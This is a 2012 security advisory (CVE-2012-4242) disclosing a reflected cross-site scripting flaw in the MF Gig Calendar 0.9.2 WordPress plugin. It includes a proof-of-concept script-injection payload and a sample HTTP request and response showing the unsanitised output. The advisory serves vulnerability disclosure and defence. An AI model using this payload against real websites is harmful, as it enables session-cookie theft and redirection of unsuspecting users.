WordPress MF Gig Calendar 0.9.2 Cross Site Scripting

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| MF Gig Calendar Wordpress Plugin - Cross-Site Scripting |
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Summary
=======

MF Gig Calendar 0.9.2 is subject to a cross-site scripting vulnerability. The value of a generic parameter was not sufficiently sanitised before being written to the calendar page. An attacker could distribute a malicious URL that would trigger this vulnerability and potentially steal session cookies, redirect the user to a malicious URL or download malware onto their machine.

CVE number: CVE-2012-4242
Impact: Medium
Vendor homepage: http://wordpress.org/extend/plugins/mf-gig-calendar/
Vendor notified: 20/07/2012, 07/08/2012
Vendor response: No reply was received from the author
Credit: Chris Cooper and Joseph Sheridan of ReactionIS (http://www.reactionis.co.uk/)

This advisory is posted at:

http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html


Affected Products
======== ========

MF Gig Calendar 0.9.2. Other versions may be affected.


Details
=======

A generic parameter on the calendar page was found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into the URL as an additional parameter (following an '&'). This code is then passed into an anchor href parameter without sanitisation, and executed by the browser.

Injecting the following Javascript code into a generic parameter on the calendar page will trigger the vulnerability, causing the page to return a Javascript alert box.

"><script>alert('xsstest')</script>

---
Example 1 Request:
+-----------------

GET /wp/?page_id=2&"><script>alert('xsstest')</script> HTTP/1.1
Host: 192.168.0.6
Referer: http://192.168.0.6/wp/?page_id=2&ytd=2012
Cookie: wordpress_test_cookie=WP+Cookie+check; wp-settings-1=hidetb%3D1%26editor%3Dtinymce; wp-settings-time-1=1342447051; PHPSESSID=ls61d5ov9vugrfhgu45urh4n55

---
Example 1 Response:
+------------------

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2012 09:00:14 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
X-Pingback: http://192.168.0.6/wp/xmlrpc.php
Content-Length: 6835
Content-Type: text/html; charset=UTF-8

--- SNIP ---
  <div class="entry-content">
    <h2>Upcoming Events</h2><div id="cal_nav"><strong>Upcoming</strong> | Archive: <a href="?page_id=2&"><script>alert('xsstest')</script>=&ytd=2012">2012</a> </div><ul id="cal">
--- SNIP ---


Impact
======

An attacker might entice users to follow a malicious URL, causing Javascript code to execute in their browser, potentially stealing session cookies, redirecting the user to a malicious URL or downloading malware onto their machine.


Solution
========

At the time of writing, no patch has been released by the vendor.


Distribution
============

In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

* bugtraq () securityfocus com
* full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS corporate website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL below for any updates:


http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html

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